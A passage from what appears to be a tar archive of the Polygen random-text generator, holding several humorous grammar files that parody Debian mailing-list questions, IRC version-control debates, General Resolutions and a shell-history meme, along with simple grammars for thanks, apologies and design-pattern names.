| "p" | "q" | "r" | "s" | "t" | "u" | "v" | "w" | "x" | "y" | "z" ; FunkyNumber ::= "π" | "ɣ" | "ɷ" | "e" | "Å" | "ø" ; PhoneticNumber ::= "alpha" | "bravo" | "charlie" | "delta" | "echo" | "foxtrot" | "golf" | "hotel" | "india" | "juliet" | "kilo" | "lima" | "mike" | "november" | "oscar" | "papa" | "quebec" | "romeo" | "sierra" | "tango" | "uniform" | "victor" | "whiskey" | "x-ray" | "yankee" | "zulu" ; (* S: is singular, P: is plural *) Object ::= S:"DPKG" | S:"debhelper" | S:"CDBS" | S:"APT" | S:"yada" | S:"a bug report" | S:"a Bug Squashing Party" | S:"a BSP" | S:"a Debian Developer" | S:"a fellow DD" | S:"a maintainer script" | S:"an MIA maintainer" | S:"a NMU" | S:"an upload" | S:"the Debian archive" | S:"the Debian Project" | "Debian Women" | S:"the Debian/GNU Solaris subproject" | S:"Debian GNU/Hurd" | S:"Debian GNU/kFreeBSD" | S:"our beloved DPL" | S:"the debian-"^List^" list" | S:"the Debian archive" | S:"the BTS" | S:"the GNU FDL" | S:"the graphviz license" | S:"the sections of the archive" | P:"versioned provides" | P:"versioned symbols" | S:"the debian/"^File^" file" | S:"the Sun JDK 1.5" | S:"the NM Process" | S:"the DAM" | S:"the FD" | S:"the cabal" | S:"Ubuntu" | S:"a troll" | S:"a flamewar" | S:"the Debian-Installer" | S:"the DebConf" | S:"the" Port "port" | S:"the -Bsymbolic flag" | S:"the DPL" | S:"a FTP-master" | S:"a porter" | S:"a sponsor" | S:"debian/rules" | P:"library sonames" | P:"the packages" | P:(the dependencies of (a|your) package) | --S:(the ("Holy"|"Super") "Cow") ; Port ::= "i386" | "amd64" | "m68k" | "powerpc" | "arm" | "armeb" | "mips" | "mipsel" | "s390" | "hppa" | "ia64" | "sparc" ; File ::= "rules" | "control" | "postinst" | "prerm" | "README.Debian" | "copyright" ; List ::= "devel" | "project" | "private" | "legal" | "i18n" | "boot" | "devel-announce" | "women" ; PronounSubject ::= S:it | P:they ; PronounObject ::= S:it | P:them ; Adjective ::= useful | important | relevant | needed | used ; AskIntro1 ::= (("can you explain" | "could you tell") [me]) | "do you know" | "can you think" ; Text ::= "can you give" [me] ( "three ways" | "two reasons" ) To Action Object | AskIntro1 how To Action Object | (_ | AskIntro1) >(what | how) "would you do" To Action Object | >(_ | how | when) "do you know how" To Action Object | (_ | AskIntro1) "what is" ("Debian" | your) approach To Action Object | "should you happily" Action Object | ( (how|why|when) (does|did) Object Action Object ) | (_ | AskIntro1) ( (how|why|when) Object Action.S^"s" Object ) | what is Object.S [ (and | ^"?"\) Subquestion.S ] | what are Object.P [ (and | ^"?"\) Subquestion.P ] | what is the difference between Object and Object | is Object.S Adjective [ ^"?"\ Subquestion.S ] | are Object.P Adjective [ ^"?"\ Subquestion.P ] | tell me a minimal set of Object that you [never] need to Action | there is a minimal set of Object.S you [never] need to Action ^"."\ Subquestion.S | there is a minimal set of Object.P you [never] need to Action ^"."\ Subquestion.P ; Subquestion ::= [be specific about] how do you Action PronounObject | S:( why is it [not] Adjective ) | P:( why are they [not] Adjective ) | what can PronounSubject [not] assume about the system | when would you [not] Action PronounObject ; Affirm ::= _ | "not" ; To ::= "to" | "not to" ; (* Mark with S the ones that can be easily made plural by adding 's' *) (* Also perform a strong binding so that the action repeats in a complex phrase *) Action := S: "close" | S: "implement" | S: "check" | S: "correct" | S: "ping" | S: "upload" | S: "revert" | S: "sign" | S: "create" | S: "add" | S: "expel" | S: "avoid" | S: "start" | S: "use" | S: "handle" | N: "check out" | N: "reply to" ; polygen-1.0.6.ds2/grm/eng/debian/rcstalk.grm0000600000175000017500000001027310464706050020131 0ustar enricoenricoI ::= "title: RCS discussion on #debian-devel\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: Debian\n" ^ "created: 04/08/2006" ; S ::= "*" Nick suggests Command | "<" Nick^">" Nick ^":" Command (+_|Ending) | "<" Nick^">" ( Nick^":" | _ ) Assertion ; Nick ::= liw | "Clint" | ++mrvn | ++"GyrosGeier" | ibid | "Sesse" | jvw | "Beowulf" ; Command ::= cvs (help|++_) (add|admin|annotate|checkout|commit|diff|edit|editors|export|history|import|init|log|login|logout|ls|pserver|rannotate|rdiff|release|remove|rlog|rls|rtag|server|status|tag|unedit|update|version|watch|watchers) | svn (help|++_) (add|+blame|cat|checkout|cleanup|commit|copy|delete|diff|export|help|import|info|list|lock|log|merge|mkdir|move|propdel|propedit|propget|proplist|propset|resolved|revert|status|switch|unlock|update) | svk (help|++_) (add|admin|annotate|cat|checkout|cleanup|cmerge|commit|copy|delete|depotmap|describe|diff|help|import|info|list|log|merge|mirror|mkdir|move|patch|propdel|propedit|propget|proplist|propset|pull|push|resolved|revert|smerge|status|switch|sync|update|verify) | darcs (help|++_) (help|add|remove|mv|replace|revert|unrevert|whatsnew|record|unrecord|"amend-record"|resolve|tag|setpref|rollback|diff|changes|annotate|dist|trackdown|query|pull|unpull|+obliterate|push|send|apply|get|put|initialize|optimize|check|repair) | bzr (help|++_) (add|annotate|"baz-import"|"baz-import-branch"|bind|branch|"branch-history"|"branch-mark"|branches|+"break-lock"|cat|cbranch|check|checkout|"clean-tree"|commit|conflicts|deleted|diff|export|+"fetch-ghosts"|"graph-ancestry"|help|ignore|ignored|info|init|"init-repository"|inventory|log|merge|missing|mkdir|"multi-pull"|mv|nick|patch|pull|push|reconcile|"register-branch"|remerge|remove|renames|resolve|revert|revno|root|rspush|shelf|shell|shelve|"sign-my-commits"|status|switch|+testament|unbind|uncommit|unknowns|unshelve|update|upgrade|version|whoami|+zap) | git (help|++_) (add|am|applymbox|bisect|branch|checkout|"cherry-pick"|clean|clone|commit|diff|fetch|"format-patch"|grep|log|"ls-remote"|merge|mv|pull|push|rebase|repack|rerere|reset|resolve|revert|rm|shortlog|show|"show-branch"|status|"verify-tag"|whatchanged) ; Ending ::= ^"!" | ":)" | ":/" | ":(" | ";)" ; System ::= cvs | svn | svk | hg | tla | baz | darcs | git | bzr ; StaticSystem := System ; Assertion ::= "I'm having to learn enough new tools already, thanks" | System "is easy to use as an enhanced" System "client" | "it feels like a hack though :-/" | "I don't want an enhanced svn client. I don't want svn at all" Ending | "people keep repeating that svn is just like cvs, but better, and every time I have to use it, I have problems and get a headache" | "but what I do know, I only used" System "for over a decade" | "you're probably just allergic" | "it's just like" System ^", but worse" | "yeah, we used" System "because we didn't know better, but now that we do, who wants a better cvs? :)" | "I want a RCS that can handle 2 dimensions for the ancestry of a revision and branches." | "in theory, a patch-based system should handle that; in practice, i dunno" | "now if only" System "&" System "would be mutually compatible..." | "how does" System "cope with weird ancestry stuff?" | "if it can be expressed in" System ^", it is a use case" | System "is history based, so it probably is a matter of how good your merge tools are" | System "doesn't care about ancestry for the most part" | "but how well does it detect such ancestry when merging?" | "So far" StaticSystem ^"'s merging doesn't impress me. I have patches that patch applied with fuzzyness but" StaticSystem "failed to merge." | "you can write a fuzzy resolver if you like" | "but fuzziness means that you are really close to a conflict" | "What I need most is that when I import a new upstream then" System "should tell me that branch patch3 and patch17 will have a conflict with this update." | "Currently I have to go to every patch branch manualy and replay or merge the underlying branch to get the changes." | "well," System "doesn't do branches in that sense at all. they're all separate repositories that might share storage" ; polygen-1.0.6.ds2/grm/eng/debian/sorry.grm0000644000175000017500000000124310451511341017642 0ustar enricoenricoI ::= "title: Sorry\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: General\n" ^ "created: 28/06/2006" ; S ::= Noend ^"." ; Noend ::= \ Sorries ; Sorries ::= Sorry | -- ( Sorry ^"," Sorry ) ; Sorry ::= sorry | "I'm" Very sorry | [Please] (pardon | excuse) me | "I" Very regret it | "I" Really Beg ; Beg ::= beg your pardon | (apologise | apologize) ; Very ::= _ | very | so | so very | Really ; Really ::= really | totally | - ( Really ^"," Really ) ; Please ::= please | please be so kind to ; polygen-1.0.6.ds2/grm/eng/debian/test.grm0000644000175000017500000000265210465414115017456 0ustar enricoenricoI ::= "title: Test\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: General\n" ^ "created: 05/08/2006" ; S ::= Phrase | GarbagePhrase ; Phrase ::= "this is a test" | "this is another test" | "this is yet another test" | "this is still yet another test" | the quick brown {fox} jumped over the lazy {dog} | "it works!" | "if you see this, then it works" | "look mum, it works!" | "if this doesn't work, I'm going to cry" ; FooWord ::= foo | bar | baz ; FooPhrase ::= foo [ bar [ baz ]] ; GnuWord ::= gnu | gnat ; GnuPhrase ::= gnu [ gnat ] ; WibbleWord ::= wabble | wobble | wibble | wubble ; WibblePhrase ::= - WibbleWord | - WibbleWord WibbleWord | WibbleWord WibbleWord WibbleWord ; AntaniWord ::= antani | blinda | supercazzola ; AntaniPhrase ::= antani [ blinda [ la supercazzola [ prematurata ]]] ; PippoWord ::= pippo | pluto | paperino ; PippoPhrase ::= pippo [ pluto [ paperino ]] ; CippoWord ::= cippo | lippo | cippolippo | lippocippo | cippalippa ; KeyboardWord ::= qwer [^t[^y[^u[^i[^o[^p]]]]]] | asd [^f[^g[^h[^j[^k[^l]]]]]] | zxc [^v[^b[^n[^m]]]] ; KeyboardPhrase ::= KeyboardWord (_ | KeyboardPhrase) ; TestWord ::= test ; TestPhrase ::= test [ test [ test ]] ; GarbagePhrase ::= FooPhrase | GnuPhrase | WibblePhrase | AntaniPhrase | PippoPhrase | KeyboardPhrase | CippoWord | TestPhrase; polygen-1.0.6.ds2/grm/eng/debian/thanks.grm0000644000175000017500000000134310451511300017750 0ustar enricoenricoI ::= "title: Thanks\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: General\n" ^ "created: 28/06/2006" ; S ::= Noend [^"," Followup] ^End ; Noend ::= \ Thank; Thank ::= thanks | thank you | thank you Much | Much thank you ; Much ::= Very much | a big deal ; Very ::= _ | very | so | so very | Really ; Really ::= really | -- ( Really ^"," Really ) ; Followup ::= it is Very appreciated | it is Very much appreciated | "I" am Very grateful ; End ::= "." | "!" | -"!!" | --"!!!" | ---"!!!!" | ----"!!!!!" | -----"!!!!!!" ; polygen-1.0.6.ds2/grm/eng/debian/thanksforpackaging.grm0000644000175000017500000000103610503011744022330 0ustar enricoenricoI ::= "title: Thanks for packaging...\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: basic\n" ^ "topic: Debian\n" ^ "created: 2005-09-15" ; S ::= \ Phrase ^ ( "." | -"!" ); Phrase ::= + Thanks "for" Packaging "PACKAGE" | Thanks "for" [all] "your" (work | efforts) "on PACKAGE" | "You did great" [work] "on PACKAGE" ; Thanks ::= (kudos | [many] thanks) ; Packaging ::= packaging | taking care of | your (work | [continued] efforts) on ; polygen-1.0.6.ds2/grm/eng/debian/you-know.grm0000644000175000017500000000502310452466754020276 0ustar enricoenricoI ::= "title: You know\n" ^ "author: Mohammed Adnène Trojette <adn+deb@diwi.org>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: General\n" ^ "created: 04/07/2006" ; S ::= "You know you" (Are|Have) "when" Action "with" {Object}; TenReasons ::= "The difference between when you" WhatAre and when you WhatAre1 ^"\n\n"^ " 1)" OneReason ^"\n\n"^ " 2)" AnotherReason ^"\n\n"^ " 3)" OneReason ^"\n\n"^ " 4)" AnotherReason ^"\n\n"^ " 5)" OneReason ^"\n\n"^ " 6)" AnotherReason ^"\n\n"^ " 7)" OneReason ^"\n\n"^ " 8)" AnotherReason ^"\n\n"^ " 9)" OneReason ^"\n\n"^ "10)" AnotherReason ; OneReason ::= "You know you" WhatAre "when" Action "with" {Object}; AnotherReason ::= "You know you" WhatAre1 "when" Action "with" {Object}; WhatAre := Are | Have ; WhatAre1 := Are | Have ; Really ::= really | totally | definitely | - ( Really ^"," Really ) ; Have ::= Really "have" Adverb; Adverb ::= "nothing to do"; Are ::= Really "are" (Adjective | {Role}) ; Role ::= "a geek" | "a nerd" ; Tired ::= "tired" | "bored"; Adjective ::= Tired | "getting better" | Nationality ; Nationality ::= "British" | "Italian" | "French" | "American" | "Tunisian" | "Spanish" | "Greek"; Object ::= "a hammer" | "your mouse" | "a Dvorak keyboard" | "a GPG secret key" | "a Microsoft Operating system" | "a laptop" | "a video game" | "a z80a" | "an m68k box" ; Action ::= "you try to kill a fly on your screen" | "you set up your own newsgroup" | "you set up an automatic rerouting of your e-mail to your pager" | "you realize you _never_ cook, eating only take-away pizza" | "you check your web access_page more than once a day" | "you plan to get two Masters degrees" | "you spend more than 10 minutes contemplating how traffic lights work" | "you've created a new variety of rose" | "you can explain how AppleTalk Networks work" | "you arrange to get e-mail access no matter where you go" | "you rig up elaborate mechanisms to do really basic tasks" | "you put your pathfinder on the web" | "you write web pages about your web pages" | "your favorite part of Geometry was proving theorems" | "you do your best work after 11 pm" | "you can track the geek gene through your family tree" | "you can sing Tom Lehrer's element song" | "you enjoy writing Polygen grammars" ; polygen-1.0.6.ds2/grm/eng/debian/autopolygen.grm0000644000175000017500000000265210340461100021031 0ustar enricoenricoI ::= "title: Polygen-based screen saver\n" ^ "author: Enrico Zini <enirco@debian.org>\n" ^ "language: english\n" ^ "status: embrionic\n" ^ "topic: common life\n" ^ "comment: You need to run the output\n" ^ "created: 10/07/2005" ; S ::= "polygen" Grammar "| fmt" ( "|" Filter | + _ ) "|" ("cowsay" | - "cowthink") ( + _ | "-f" Cows ) ; Grammar ::= bio | genius | manager | photoshop | pythoniser | boyband | designpatterns | metal | ms | paper | papertitle | payoff | pornsite | rappaz | reviews | videogames ; Filter ::= jethro | kraut | cockney | jive | nyc | ken | ky00te | newspeak | eleet | b1ff | chef | jibberish | "upside-down" | rasterman | studly | fudd | censor | spammer | uniencode ; Cows ::= beavis.zen | bong | "bud-frogs" | bunny | cheese | cower | daemon | default | dragon | "elephant-in-snake" | elephant | eyes | ghostbusters | hellokitty | kiss | kitty | koala | meow | milk | moofasa | moose | ren | satanic | sheep | skeleton | small | stegosaurus | stimpy | turkey | turtle | tux | udder | www | vader | apt ; polygen-1.0.6.ds2/grm/eng/debian/complaints.grm0000644000175000017500000000272610507470574020662 0ustar enricoenricoI ::= "title: Complaints\n" ^ "author: Tobias Klauser <tklauser@access.unizh.ch>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: Debian\n" ^ "created: 27/09/2006\n" ; S ::= WhoS "is too" How ^. | ("There are" | WhoS ActionS) (no | too (many | few)) Entities Where ^. | WhoS "won't" Action ^. | WhoS ActionS Bad Entities ^. | "Nobody cares about" (Entities | Entity) (_|Where) ^. | -Person "never hugs" (me | Person) ^. ; WhoS ::= ("The" TheWhoS | WhoWhoS); TheWhoS ::= "Complaints Choir" | "BTS" | "Python transition" | "DPL" | "Debian" ("Project" | "Wiki") | "GPL v3" | "FSF"; WhoWhoS ::= ("U"|"Ku") ^"buntu" | "Extremadura" | Person | "non-free Firmware" | "Noone" | "Debian Women" | "debian-curiosa" | polygen | "Helsinki" | "Mexico" | "Edinburgh" | "DebConf"; Person ::= "Amaya Rodrigo" | "Holger Levsen" | "Alexander Schmehl" | "Evan Prodromou" | "Eric Raymond" | "Linus Torvalds" | "Richard Stallman" | "Marc Shuttleworth"; How ::= fast | slow | much | long | high | lazy | small; Entity ::= sushi | polygen | "dunc-tank" | cabal; Entities ::= "GRs" | packages | bugs | developers | (_|Entity|history) memes | grammars | transitions; Where ::= "on Planet Debian" | "in the BTS" | "in" (++"Etch" | "Sarge" | "Sid" | experimental); ActionS ::= has | produces | sings | chooses | writes; Action ::= play | work | "release in time" | hug; Bad ::= awful | horrible | disgusting | bad | old | difficult; polygen-1.0.6.ds2/grm/eng/debian/gr.grm0000644000175000017500000003531310504740626017112 0ustar enricoenricoI ::= "title: Debian" ("General Resolution" | "Position Statement") "\n" ^ "author: Enrico Zini <enrico@debian.org>\n" ^ "language: english\n" ^ "status: embrionic\n" ^ "topic: Debian\n" ^ "created: 21/09/2006" ; S ::= \ Statement ^"."; Statement ::= (_|Preamble) Position ; Preamble ::= How ^"," ; Name ::= "Anthony Towns" | "Steve Langasek" | "Jeroen van" (+"Wolffelaar"|"Wunderbar"|"Wuppertal"|"Wonderland") | "Branden Robinson" | "Sven Luther" | "Bruce Perens" | "Richard Stallman" ; Entity ::= S: ["Debian"] "Project" | S: (--"DPL"|"Debian Project Leader"|"Leader") | S: (--"DAM"|"Debian Account Manager") | S: "Debian Secretary" | S: "Community" | S: "Cabal" | ----S:"Super Cow" | P: (--"RMs"|"Debian Release Managers") | P: "Debian FTP Masters" | P: "Developers" | P: "Donors" | P: "Delegates" ; Subject ::= S: the Entity.S | P: the Entity.P | S: "Debian" | S: "Everyone" | S: Name ; Object ::= S: the [Adjective] Entity.S | P: the [Adjective] Entity.P | the [Adjective] donations [to Subject] | the [Adjective] funds [for Subject] | the [Adjective] firmware [in main] | the [Adjective] proprietary drivers [in main] | the [Adjective] efforts [of Subject] | the [Adjective] plan | the [Adjective] experiment | the [Adjective] editorial change | the [Adjective] activity of Subject | the (plan|resolution) described in paragraph Number (above|below) | the copyright holder | the upstream developer | the modification of Subject | this resolution | S: Name | S: everyone ; Adjective ::= Adv:prompt | Adv:swift | Adv:accurate | Adv:experimental | needed | Adv:harmful | reasonable | Adv:appropriate | Adv:controlled | Adv:potential | ["non-"^] Entity ^"-controlled" | core | full | subsidiary ; Adverb ::= Adjective.Adv ^ly | broadly | widly | likewise | reasonably | successfully | fully | further ; VerbFor ::= thank | fund | apologise | ----moo; VerbsFor ::= thanks | funds | apologises | ----moos; VerbingFor ::= thanking | funding | apologising | ----mooing; VerbedFor ::= thanked | funded | apologised | ----mooed; VerbTo ::= approve | disapprove | support | solicit | suggest | request | approve | authorise | ----moo ; VerbsTo ::= approves | disapproves | supports | solicits | suggests | requests | approves | authorises | ----mooes ; VerbingTo ::= approving | disapproving | supporting | soliciting | suggesting | requesting | approving | authorising | ----B:mooing ; VerbedTo ::= approved | disapproved | supported | solicited | suggested | requested | approved | authorised | ----B:mooed ; VerbObj ::= revoke | devalue | evaluate | take | overrule | ----moo ; VerbsObj ::= revokes | devalues | evaluates | takes | overrules | ----mooes ; VerbingObj ::= revoking | devaluing | cooperating with | evaluating | disbursing | establishing | taking | overruling | ----B:mooing ; VerbedObj ::= revoked | approved | disapproved | supported | solicited | suggested | devalued | requested | evaluated | approved | established | authorised | taken | overruled | ----B:mooed ; ActionVerbFor ::= S: [Adverb] VerbsFor | P: [Adverb] VerbFor | (should|must) [not] [Adverb] VerbFor | do not [Adverb] VerbFor | can [^not] [Adverb] VerbFor ; ActionVerbObj ::= S: [Adverb] VerbsObj | P: [Adverb] VerbObj | (should|must) [not] [Adverb] VerbObj | do not [Adverb] VerbObj | can [^not] [Adverb] VerbObj ; ActionVerbTo ::= S: [Adverb] VerbsTo | P: [Adverb] VerbTo | (should|must) [not] [Adverb] VerbTo | do not [Adverb] VerbTo | can [^not] [Adverb] VerbTo ; Action ::= [Adverb] ActionVerbFor [^"," How ^","] Object. for DoingWhat GCHow. | [Adverb] ActionVerbObj [^"," How ^","] Object. in order to DoingWhat GCHow. | [Adverb] ActionVerbTo [^"," How ^","] by Subject. to DoingWhat GCHow. | can [^not] be VerbedTo by Subject to DoingWhat GCHow. | -(S:has|P:have) the [Adjective] support of Subject for DoingWhat GCHow. | -(S:is|P:are) of the [Adjective] opinion that Position. | -(S:lets|P:let) it be [Adverb] known that Position. | -(S:is|P:are) [Adverb] VerbedFor by Subject for DoingWhat GCHow. | -(S:is|P:are) [Adverb] VerbedObj by Subject in order to DoingWhat GCHow. | -(S:is|P:are) [Adverb] VerbedTo by Subject to DoingWhat GCHow. ; DoingWhat ::= [Adverb] VerbingObj Object Hows | [Adverb] VerbingFor Object Hows ; Position ::= Subject.S Action.S | Subject.P Action.P ; GreatherCause ::= "our users and Free Software" | releasing in time | reducing flamewars | having a more Adjective Entity.S [and Entity.S] | having more Adjective Entity.P [and Entity.P] | promoting cooperation between Subject and Subject | promoting more Adjective action | reducing the delays of the ("New Maintainer"|"New"|"DAM") queue | fixing more bugs in a timely fashion | acheiving "Total World Domination" | giving full effect to our wishes | being ("100%"|--"99%") "Free Software" ; How ::= during the forthcoming release ["of Debian"] | as an experiment | for this purpose | in a private capacity | effectively | promptly | as seems Adjective and Adjective | after the release | for the duration of the mandate | following internal discussion | after long consultations | with [^out] the consent of Subject [or Subject] | for the avoidance of any doubt | as a decision by Subject [or Subject] | with immediate effect | as are necessary | >GCHow ; GCHow ::= for the purpose of (GreatherCause|Subject) | in the interest of (GreatherCause|Subject) | in the benefit of (GreatherCause|Subject) ; Hows ::= How | How (_| ^"," Hows) ; Digit ::= 0|1|2|3|4|5|6|7|8|9 ; Number ::= Digit (_| ^Number) ; (* Recent GR proposals to use for further inspiration: DECISIONS AND REQUESTS | A. Reaffirms that programmatic works distributed in the Debian | system (IE, in main) must be 100% Free Software, regardless of | whether the work is designed to run on the CPU, a subsidiary | processing unit, or by some other form of execution. That is, | works must include the form that the copyright holder or upstream | developer would actually use for modification. | | B. Strongly recommends that all non-programmatic works distribute | the form that the copyright holder or upstream developer would | actually use for modification. Such forms need not be distributed | in the orig.tar.gz (unless required by license) but should be | made available on upstream websites and/or using Debian project | resources. | | C. Reaffirms its continued support of users whose hardware (or | software) requires works which are not freely licensed or whose | source is not available by making such works available in | non-free and providing project resources to the extent that | Debian is capable of doing so. | | D. Requests that vendors of hardware, even those whose firmware is | not loaded by the operating system, provide the prefered form for | modification so that purchasers of their hardware can exercise | their freedom to modify the functioning of their hardware. ,---- | 1. We affirm that our Priorities are our users and the free software | community (Social Contract #4); | 2. We acknowledge that there is a lot of progress in the kernel | firmware issue; however, it is not yet finally sorted out; | 3. We give priority to the timely release of Etch over sorting every | bit out; for this reason, we will deliver firmware in udebs as | long as it is necessary for installation (like all udebs), and | firmware included in the kernel itself as part of Debian Etch, | without further conditions. `---- | THE DEBIAN PROJECT therefore, | | 1. reaffirms its dedication to providing a 100% free system | to our users according to our Social Contract and the | DFSG; and | | 2. encourages authors of all works to make those works | available not only under licenses that permit | modification, but also in forms that make such | modifications practical; and | | 3. supports the decision of the Release Team to require works | such as images, video, and fonts to be licensed in | compliance with the DFSG without requiring source code for | these works under DFSG #2; and | | 4. determines that as a special exception to DFSG #2, the source | code for device firmwares contained in the kernel packages will | not be required as long as there are no other technical means to | install and run the Debian system on these devices. | The Debian Project reaffirms its commitment of providing a 100% free | operating system, and reaffirms the decisions taken by GR 2004-03, but | some technical issues regarding firmware couldn't be solved in the | timeframe to release etch, and, therefore, the next Debian release, | codename etch, will still contain sourceless/non-free firmwares. The | Debian Project apologize for this, and will continue to work on finding | a way to solve this issue. | THE DEBIAN PROJECT: | 1. reaffirms its dedication to providing a 100% free system to | our users according to our Social Contract and the DFSG; | and | 2. encourages licensors of all works to make those works | available not only under licenses that permit modification, | but also in forms that make such modifications practical; | and | 3. as a special exception to help users who have vital | hardware without free software drivers yet, the Debian | system and official CD images may include hardware-support | packages from the admin section of the non-free archive | area which conform to all Debian Free Software Guidelines | except guideline 2 (Source Code), or an archive | section/area with equivalent requirements. | The Debian Project resolves that: | | (a) The Social Contract shall be reverted to its original form, | as at http://www.debian.org/social_contract.1.0 | | (b) The term "software" as used in the Social Contract shall be | presumed only to cover programs, scripts, libraries and similar | executable works to be executed directly as part of the Debian | System. | | (c) In addition to the commitments made in the Social Contract, | the Debian System shall only include documentation, images, | sounds, video, fonts and similar works that meet the Debian | Free Software Guidelines, and are available in some reasonably | modifiable form. | | (d) Notwithstanding the above, the Debian Free Software Guidelines | shall not be applied to logos, firmware or the text of copyright | licenses that may be included in the Debian System. | | (e) Following the release of etch, the Debian Project Leader shall: | i. ensure that the Debian community has a good understanding | of the technical and legal issues that prevent the Debian | Free Software Guidelines from being applied to logos and | firmware in a manner that meets the needs of our users; | ii. ensure that project resources are made available to | people working on addressing those issues; | iii. provide a report to the Debian community on progress achieved | in these areas at DebConf 7 in Edinburgh. | (f) Following the release of etch, the Debian Project as a whole shall | reopen the question of which commitments should be codified in the | project's Social Contract. This shall including both an online | consultation with Debian users, Debian derivatives and the free | software community, and a public in-person discussion and debate | at DebConf 7 in Edinburgh in honour of the 10th anniversary of | the original publication of the Social Contract on the 4th | of July 1997. `---- ,---- | The Debian Project resolves that: | | (a) The inclusion in main of sourceless firmware and support in Debian | Installer is not a release blocker for the release of Etch. | | (b) For the release of Etch, the Release Managers are given discretion | to waive RC issues in other cases where the letter of the Social | Contract is currently not being met, provided there is no regression | relative to the Sarge release and that waivers are done consistently | and with proper consideration of past resolutions (e.g. GDFL) and | work already done on other (comparable) packages. | | (c) Following the release of etch, the Debian Project Leader shall: | i. ensure that the Debian community has a good understanding | of the technical and legal issues that prevent the Debian | Free Software Guidelines from being applied to logos and | firmware in a manner that meets the needs of our users; | ii. ensure that project resources are made available to | people working on addressing those issues; | iii. keep the Debian community updated on progress achieved | in these areas. | | (d) Following the release of etch, the Debian Project as a whole shall | reopen the question of which commitments should be codified in the | project's Social Contract. This shall include both an online | consultation with Debian developers, users, Debian derivatives and | the free software community, and a public in-person discussion at | DebConf 7 in Edinburgh in honour of the 10th anniversary of the | original publication of the Social Contract on the 4th of July 1997. | THE DEBIAN PROJECT therefore, | 1. reaffirms its dedication to providing a 100% free system to | our users according to our Social Contract and the DFSG; and | 2. encourages authors of all works to make those works | available not only under licenses that permit modification, | but also in forms that make such modifications practical; and | 3. supports the decision of the Release Team to require works | such as images, video, and fonts to be licensed in | compliance with the DFSG without requiring source code for | these works under DFSG #2; and | 4. determines that for the purposes of DFSG #2, device | firmware shall also not be considered a program. *) polygen-1.0.6.ds2/grm/eng/debian/unixmeme.grm0000644000175000017500000000620410506276132020324 0ustar enricoenricoI ::= "title: UNIX command Meme\n" ^ "author: Tobias Klauser <tklauser@access.unizh.ch>\n" ^ "language: english\n" ^ "status: Basic\n" ^ "topic: Debian\n" ^ "created: 24/09/2006\n" ; S ::= \ Introduction ^(":"|".") ( ^"\n\n" ^Commandline | ^"\n") ^"\n" Result ( ^"\n\n" ^Conclusion | "" ); Introduction ::= "check out this new meme seen" SeenAt | "I" Really "didn't expect this" | "I was" Really "suprised" | "my results for this" Enhancement "meme seen" SeenAt | ["sorry,"] "I couldn't resist" | "this one surprised me" ["when I saw it" SeenAt] | "I don't like memes, but this one is" Enhancement | [boring] meme [time] | "a bit surprising" | Really surprising | "nice one-liner to find out what the highest number of commands is that you use" | "For me, the output is" | "This looks like a 'planet-acceptable' meme." | "That history meme" ; Prompt ::= ">" | "%" | "$" ; Commandline ::= Prompt "history | awk '{print $2}' | awk 'BEGIN {FS=\"|\"} {print $1}' | sort | uniq -c | sort -nr | head -10" | Prompt "print -l -- ${(o)history%% *} | uniq -c | sort -nr | head-n 10" | Prompt "history 1|awk '{print $2}'|awk 'BEGIN {FS=\"|\"} {print $1}'|sort|uniq -c|sort -nr|head -10" | Prompt "history | while IFS=\" \\\"\" read a b c; do echo $b; done | sort | uniq -c | sort -nr | head -10" | Prompt "history > foo;" Editor foo ; Result ::= (Number " " Command ^"\n" Number " " Command ^"\n" Number " " Command ^"\n" Number " " Command ^"\n" Number " " Command ^"\n" Number " " Command ^"\n" Number " " Command ^"\n" Number " " Command ^"\n" Number " " Command ^"\n" Number " " Command |--- "history not found"); Conclusion ::= "Yeah, I have been doing some Debian work recently." | "Gee, I didn't know I'm _that_ boring" | "Unsurprisingly," Command "wins out here." | "For those of you wondering why there is no editor on the list; I use" Editor | "Having" Command "be number one isn't something that surprises me, at all." | "However, having" Command "in the top ten is something that does surprise me." ; SeenAt ::= "on Planet Debian" | "in" Person ^"'s blog"; Really ::= really | totally | definitely | - ( Really ^"," Really ) ; Enhancement ::= "mind-blowing" | amazing | astonishing | exciting | exceptional; Person ::= "Enrico Zini" | "Uwe Hermann" | "Andrew Pollock" | "Clint Adams" | "Erich Schubert" | "Tollef Fog Heen" | "Joey Hess" | "Wouter Verhelst" | "Rodrigo Gallardo" | "MJ Ray"; Number ::= +DecimalNumber; DecimalNumber ::= " 1" | " 2" | " 3" | " 4" | " 5" | " 6" | " 7" | " 8" | " 9" | "10" | "11" | "12" | "13" | "14" | "15" | "16" | "17" | "18" | "19" | "20" ; Editor ::= vim | emacs | cat | ed | vi | vigor | joe ; Command ::= >Editor | ls | cd | svn | grep | sed | ssh | rm | dpkg | zsh | dict | sudo | dch | man | "apt-cache" | git | more | less | l | "apt-get" | screen | mutt | aptitude | fg | df | blog | mv | debuild | bzr | ps | "./ikwiki.pl" | xpdf | cp | killall | polygen | cappuccino | mplayer | pornview | sl | "ls-la" | "cd.." | "porn-get" | killall | slay | history | "hot-babe" | nethack | nice; polygen-1.0.6.ds2/grm/eng/designpatterns.grm0000644000175000017500000000203110340417034020271 0ustar enricoenrico I ::= "title: Object-oriented Design Patterns\n" ^ "author: Dimitri De Franciscis <megadix@yahoo.it>\n" ^ "language: english\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: poor OO programmers\n" ^ "created: 26/03/2004" ; S ::= Adjective Noun; Adjective ::= "Business" | "Data Access" | "Fast Lane" | "Composite" | "Front" | "Intercepting" | "Session" | "Transfer" | "Value List" | "View" | "Half" | "Immutable" | "Dynamic" | "Virtual" | "Model" | "Layered" | "Null" | "Template"; Noun ::= "Delegate" | "Abstract" | "Entity" | "View" | "Object" | "Reader" | "Controller" | "Filter" | "Locator" | "Facade" | "Handler" | "Helper" | "Call" | "Interface" | "Proxy" | "Builder" | "Method" | "Prototype" | "Singleton" | "Pool" | "Marker" | "Factory" | "Bridge" | "Flyweight" | "Service" | "Adapter" | "Listener" | "Decorator" | "Cache" 